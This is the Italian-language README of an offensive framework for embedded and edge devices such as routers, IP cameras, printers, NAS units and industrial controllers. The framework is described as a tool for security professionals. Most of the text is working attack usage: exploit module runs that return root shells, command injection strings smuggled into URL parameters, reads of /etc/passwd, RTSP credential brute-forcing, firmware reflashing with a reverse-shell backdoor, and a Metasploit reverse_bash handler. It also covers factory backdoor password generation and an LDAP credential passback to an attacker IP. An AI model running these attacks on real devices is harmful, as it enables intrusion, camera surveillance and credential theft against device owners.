Nota sulla piattaforma: Questo framework è progettato e testato principalmente su Linux (Debian/Ubuntu/Kali). La maggior parte dei moduli dipendenti dall'hardware (adattatori wireless, dispositivi USB, accesso raw socket, strumenti firmware) richiede Linux. L'esecuzione su Windows o macOS può causare errori o funzionalità limitate in molti moduli. Linux è fortemente raccomandato per la massima compatibilità.

EmbedXPL-Forge

Framework per la valutazione della sicurezza di sistemi embedded e perimetrali

EmbedXPL-Forge è un framework open-source di exploitation e scansione per professionisti della sicurezza che effettuano audit su router, switch, telecamere IP, NVR/DVR, ONT GPON, CPE di ISP, stampanti, IoT, OT/ICS e dispositivi edge embedded. Fornisce oltre 2800 moduli attivi che coprono test di credenziali, exploitation di vulnerabilità, scansione di rete, generazione di payload, attacchi a telecamere RTSP, manipolazione di firmware, orchestrazione PolyExploit multi-linguaggio e un arsenale completo per stampanti — con oltre 700 CVE mappate su oltre 114 vendor e un APT Group Attack Engine che riproduce catene di attacco reali di attori nation-state.

Versione: 3.2.0

Funzionalità

• Oltre 625 moduli di exploit — RCE, bypass di autenticazione, path traversal, divulgazione di informazioni, buffer overflow, DNS hijacking, command injection, backdoor, CSRF, decrittazione di configurazioni, keygen WPA/WPS, generatori di password di fabbrica, catene heap/stack BOF
• 88 moduli per credenziali — attacchi a dizionario contro FTP, SSH, Telnet, HTTP, SNMP, SFTP
• Oltre 185 moduli di exploit per stampanti — HP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; PJL/IPP/LPD/WSD/CUPS; catene Pwn2Own 2026; PrintingShellz; coercizione NTLM MS-RPRN
• Motore completo per telecamere RTSP — brute-force di route (oltre 195 route), brute-force di credenziali (oltre 80 coppie), autenticazione Basic/Digest, RTSPS/TLS, tunnel RTSP-over-HTTP (Python puro, RFC 2326 App-C), scanner nmap/masscan/diretto, ONVIF WS-Discovery, output M3U
• 7 script NSE Nmap personalizzati — discovery RTSP, fingerprinting di telecamere, validazione CVE Hikvision/Dahua, test di credenziali predefinite, controlli CVE multi-vendor, cattura snapshot (pip install embedxpl[nse])
• Suite di exploitation firmware — rilevamento del formato, iniezione di backdoor, patching di checksum, bypass del flash dei vendor (NETGEAR, TP-Link, D-Link, ASUS)
• Orchestratore PolyExploit — compilazione runtime C/C++ (gcc/clang/mingw/cross), esecuzione di exploit Ruby/Node.js/PHP/Bash/Perl, integrazione msfconsole, integrazione ExploitDB/searchsploit
• Moduli ICS/OT — Universal Robots PolyScope 5, RIOT OS, Modbus, S7comm, EtherNet/IP, BACnet, DNP3
• Smart home / marittimo / specializzato — eNet SMART HOME, OpenRemote, Metis maritime IoT (WIC/DFS)
• Oltre 5 moduli scanner — AutoPwn, scanner specifici per dispositivo, discovery stampanti WSD/mDNS
• 32 moduli payload — shell reverse/bind TCP per x86, x64, ARM, MIPS, Python, Perl, PHP
• 13 moduli encoder — codifica Base64 ed esadecimale per Python, PHP, Perl
• 14 moduli generici — Heartbleed, ShellShock, UPnP IGD, bruteforce SNMP, TCP Xmas, amplificazione UDP, lookup CVE, rilevatore di DNS hijack, intercettore AITM
• Oltre 700 CVE mappate — dal 2001 al 2026, incluse le catene Pwn2Own 2026 e CVE critiche IoT/OT/marittime
• APT Group Attack Engine — esplora e riproduce catene di attacco di APT28, Volt Typhoon, Sandworm, Quad7, Turla, APT40 con mappatura MITRE ATT&CK

Tipi di dispositivo supportati

Vendor supportati

Network / Router / CPE: 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL

Telecamere / NVR / DVR: Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · Cisco cameras · Geuterbruck · Honeywell cameras · Jovision · Siemens cameras · Xiongmai (OEM) · Zivif · MVPower DVR · Telecamere WiFi P2P generiche · DVR/NVR OEM generici

Stampanti / MFP: HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · IPP/PJL/LPD/CUPS/WSD generici

NAS / VPN / Firewall / Sicurezza: QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent

ICS / OT / Robotica: Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP

Smart Home / Marittimo / OS embedded: eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (marittimo) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen

Installazione

Opzione 1 — PyPI (consigliata)```bash

pip install embedxpl embedxpl

### Opzione 2 — Con gli script NSE di Nmap```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"

# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install

# Verify installation
python -m embedxpl.nse list

Nota: Su Linux/macOS il passaggio di installazione potrebbe richiedere sudo per scrivere in /usr/share/nmap/scripts/. Esegui: sudo python -m embedxpl.nse install

Opzione 3 — Dai sorgenti```bash

git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher

or: python exf.py # auto-detects .venv

Optional: also install NSE scripts

.venv/bin/python -m embedxpl.nse install

### Opzione 4 — Modulo Python```bash
pip install embedxpl
python -m embedxpl

Avvio rapido```bash

Install

pip install embedxpl

Launch interactive shell

embedxpl

Run a specific module directly

embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1

Network discovery

embedxpl -c "discover 192.168.1.0/24"

RTSP camera scan + brute-force

embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100

Nmap NSE quick scan (after pip install embedxpl[nse] + embedxpl-nse install)

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100

## Utilizzo

### Shell Interattiva```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run

Comandi Comuni

Motore di Attacco dei Gruppi APT```

List all cataloged threat actors

exf > apt list

Show APT28 attack chain details

exf > apt show apt28

Search for groups targeting MikroTik

exf > apt search mikrotik

Execute the full APT28 DNS hijack chain (interactive)

exf > apt run apt28

Execute only the credential disclosure attack (#0)

exf > apt run apt28 0

### Network Discovery```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover

# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1

# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh

Il discovery utilizza una pipeline multifase: ARP sweep → Nmap (sonde host multi-metodo) → Scapy → fallback TCP connect. I risultati vengono confrontati con il catalogo dei moduli e filtrati per vendor/modello. Il database IEEE OUI (embedxpl/data/oui.txt) risolve gli indirizzi MAC in vendor con lookup online-first e fallback locale. Quando un host espone capacità WiFi, lo strumento raccomanda WirelessXPL-Forge per attacchi specifici al wireless.

Profili di timing (T0–T5) rispecchiano le convenzioni di Nmap:

Gestione delle Sessioni```

List all hosts with scan history

exf > sessions list

Full history for one host: tested modules, findings, timestamps

exf > sessions show 192.168.1.1

Export session as JSON

exf > sessions export 192.168.1.1

Delete one session

exf > sessions delete 192.168.1.1

Purge all sessions

exf > sessions purge

Le sessioni sono memorizzate in `~/.exf_sessions/` come JSON, indicizzate tramite SHA-256 di IP+MAC. Alla ri-scoperta di un host conosciuto, i moduli già testati vengono mostrati come `[Tested]` e saltati per impostazione predefinita.

### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run

RTSP Camera Engine

Pipeline di attacco RTSP completo con implementazione nativa in Python che copre tutte le modalità di trasporto RTSP standard.

Modalità di trasporto

Pipeline di attacco```python

from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream

1. Discover RTSP-speaking hosts on the network

scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])

Returns: [('192.168.1.100', 554), ('192.168.1.101', 8554), ...]

2. Run full 5-phase attack pipeline

attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)

3. Inspect results

for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True

**Output previsto:**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3

Modalità Skip-Scan (Host Noti)```python

Skip network scan, attack known hosts directly

hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])

Accepts: "host:port", "host", CIDR "192.168.1-2.0-255", hostnames

**Input/output previsti:**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])

# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]

Tunnel RTSP-over-HTTP

Utilizzato quando le telecamere si trovano dietro proxy HTTP o firewall aziendali che bloccano TCP/554.```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel

Direct tunnel usage

tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )

Returns: raw RTSP response bytes (base64-decoded from HTTP body)

Or via RTSPClient factory

client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")

**Input/output previsti:**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
  status  = 200
  server  = "Hikvision IP Camera NVRA (V5.4.5)"
  methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"

Modulo RTSP (Interattivo)```

embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options

Option Default Description

target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery

embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run

## Script NSE di Nmap

EmbedXPL-Forge include 7 script NSE personalizzati di Nmap per la scansione di IoT/camera e il rilevamento di CVE.

### Installazione```bash
# Install with NSE extras
pip install "embedxpl[nse]"

# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install

# Force overwrite existing scripts
python -m embedxpl.nse install --force

# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts

Output previsto:``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse

Installed: 7 script(s) [OK] nmap --script-updatedb complete

### Elenco / Informazioni```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover

Riferimento agli script NSE

embedxpl-rtsp-discover — Rilevamento del servizio RTSP

Rileva i servizi RTSP, cattura il banner Server:, identifica il fornitore, elenca i metodi supportati e incrocia i CVE noti.```bash

Basic usage

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24

With custom timeout

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24

**Output previsto:**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
|   Status : 200
|   Server : Hikvision IP Camera NVRA (V5.4.5)
|   Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
|   Vendor : Hikvision
|   Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-camera-identify — Fingerprinting approfondito delle telecamere

Identificazione multi-protocollo: sonda l'interfaccia web HTTP/HTTPS, il banner RTSP e ONVIF. Estrae produttore, modello, firmware, seriale e MAC.```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24

**Output previsto (Hikvision):**```
80/tcp open http
| embedxpl-camera-identify:
|   Protocol : HTTP (HTTP 200)
|   Vendor   : Hikvision
|   Model    : DS-2CD2143G0-I
|   Firmware : V5.6.2 build 190401
|   Serial   : DS-2CD2143G0-I20190401AAWRA123456789
|   CVEs     : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
|   Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-hikvision-vuln — Verificatore CVE Hikvision

Validazione attiva di CVE-2021-36260 (RCE tramite /SDK/webLanguage, CVSS 9.8) e CVE-2017-7921 (snapshot con bypass di autenticazione).```bash nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100 nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24

**Output previsto:**```
80/tcp open http
| embedxpl-hikvision-vuln:
|   Device          : DS-2CD2143G0-I
|   Firmware        : V5.3.0 build 170112
|   CVE-2021-36260  : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
|   CVE-2017-7921   : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
|   EmbedXPL RCE module  : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_  Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-dahua-vuln — Dahua CVE Checker

Verifica CVE-2021-33044 (bypass dell'autenticazione, CVSS 9.8), CVE-2020-25078 (divulgazione utente), CVE-2013-6117 (DVR legacy). Copre anche i produttori OEM Dahua: Amcrest, Intelbras, TVT, Jovision, ANNKE.```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24

**Output previsto:**```
80/tcp open http
| embedxpl-dahua-vuln:
|   Vendor         : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
|   CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
|   CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
|   CVE-2013-6117  : NOT VULNERABLE
|   EmbedXPL Auth Bypass  : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|   EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_  Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

embedxpl-rtsp-creds — Tester di credenziali predefinite RTSP

Verifica 18 coppie di credenziali predefinite su oltre 9 route RTSP comuni utilizzando l'autenticazione Basic. Segnala la prima corrispondenza.```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100

With custom route hint

nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100

**Output previsto:**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
|   Server           : Hikvision IP Camera NVRA
|   Credential found : admin: (empty password)
|   Stream URL       : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
|   Auth type        : Basic
|   Response code    : 200
|   EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_  Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-iot-cve-check — Fingerprint CVE Multi-Vendor

Rileva e convalida 10 CVE attive su Hikvision, Dahua, D-Link NAS, Reolink, Uniview, QNAP, SonicWall e GPON.```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24

**Output previsto:**```
80/tcp open http
| embedxpl-iot-cve-check:
|   CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
|     → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   CVE-2021-33044 (Dahua, CVSS 9.8)   : NOT VULNERABLE — HTTP 404
|   EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_  Full exploitation: pip install embedxpl && embedxpl

embedxpl-camera-snapshot — Accesso Snapshot Non Autenticato

Sonda 16 endpoint snapshot specifici del fornitore. Segnala qualsiasi URL che restituisce image/* senza credenziali. Opzionalmente salva i file JPEG localmente.```bash nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100

Save snapshots to disk

nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24

**Output previsto:**```
80/tcp open http
| embedxpl-camera-snapshot:
|   Endpoint 1 (Dahua):
|     URL          : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
|     Content-Type : image/jpeg
|     Size         : 45231 bytes
|     Access       : UNAUTHENTICATED SNAPSHOT ACCESS
|     EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_    Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

Esegui tutti gli script NSE tramite Python```bash

Run all scripts via embedxpl-nse CLI

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all

Run specific scripts

python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln

With output file

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt

Custom ports

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554

**Disinstallazione:**```bash
python -m embedxpl.nse uninstall

Sfruttamento del Firmware```

embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run

**Cosa fa:**
1. Rileva il formato del firmware (TRX, DLOB, SEAMA, WRGG, binario raw)
2. Inietta una backdoor reverse shell a un offset adatto
3. Ricalcola il checksum CRC32/MD5
4. Carica tramite l'endpoint di flash specifico del vendor (aggirando l'autenticazione ove applicabile)
5. Attende il riavvio del dispositivo e verifica l'esecuzione della backdoor


## PolyExploit Orchestrator

Abilita la compilazione runtime di C/C++ e l'esecuzione di script multi-linguaggio per exploit non portabili in puro Python.

### Compilazione Runtime C/C++```python
from embedxpl.core.poly import CCompiler

compiler = CCompiler()

# Check available compilers
print(compiler.compiler_available())  # {'gcc': True, 'clang': False, 'mingw': False}

# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
    source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    // Stack overflow PoC
    char buf[64];
    memcpy(buf, argv[1], atoi(argv[2]));
    return 0;
}
""",
    arch="x86",   # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)

# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)

Esecuzione di Script Multi-Linguaggio```python

from embedxpl.core.poly import PolyRunner

runner = PolyRunner() print(runner.available_runtimes())

{'ruby': True, 'node': True, 'php': True, 'bash': True, 'perl': True}

Execute a Ruby exploit

result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])

Metasploit integration

runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })

ExploitDB / searchsploit lookup

results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])

## Novità nella v3.1.0 — CVE 2026/2025/2024 + Dominio Stampanti + Quality Gates

**54 nuovi moduli** per stampanti, OS embedded, ICS/OT, smart home, IoT marittimo e catene Pwn2Own 2026. Punti salienti:

### Catene Pwn2Own 2026```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed

# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run

CVE critiche del 2026```

wolfSSL identity forgery (CVE-2026-5194, CVSS 9.3, ~5B devices)

exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run

PAN-OS User-ID BOF (CVE-2026-0300, CVSS 9.8, active exploitation)

exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run

Universal Robots PolyScope 5 (CVE-2026-8153, CVSS 9.8, unauth OS cmd injection)

exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)

GNU InetUtils telnetd auth bypass (CVE-2026-24061, CVSS 9.8, unauth root)

exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)

Metis maritime IoT (CVE-2026-2248, CVSS 9.8, unauth root shell)

exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run

Cisco IOS XE WLC hardcoded JWT (CVE-2025-20188, CVSS 10.0)

exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run

### Esempi di Printer Arsenal```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS     : READY
INFO PAGECOUNT  : 12847
INFO MEMORY     : 512000 BYTES

# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run

# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication

Copertura Backdoor / Password di Fabbrica

Oltre 27 moduli di exploit mirati a password di fabbrica, backdoor hardcoded, algoritmi di generazione di chiavi WPA predefinite e vettori CSRF di dirottamento DNS su router SOHO legacy e moderni. Esempi principali:```

EasyBox (Arcadyan) — WPA2 default key from MAC (factory algorithm)

exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b

Seagate NAS — Ghost PHP unauthenticated RCE (CVE-2014-8684)

exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l

Alpha Networks / ZTE — web_shell_cmd.gch backdoor

exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...

RuggedCom — factory backdoor password generator (FD 2012/Apr/277)

exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b

Alcatel-Lucent OmniPCX Enterprise — masterCGI RCE

exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...

TRENDnet camera — unauthenticated MJPEG live stream

exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi

Netgear WG602 — hardcoded backdoor credentials

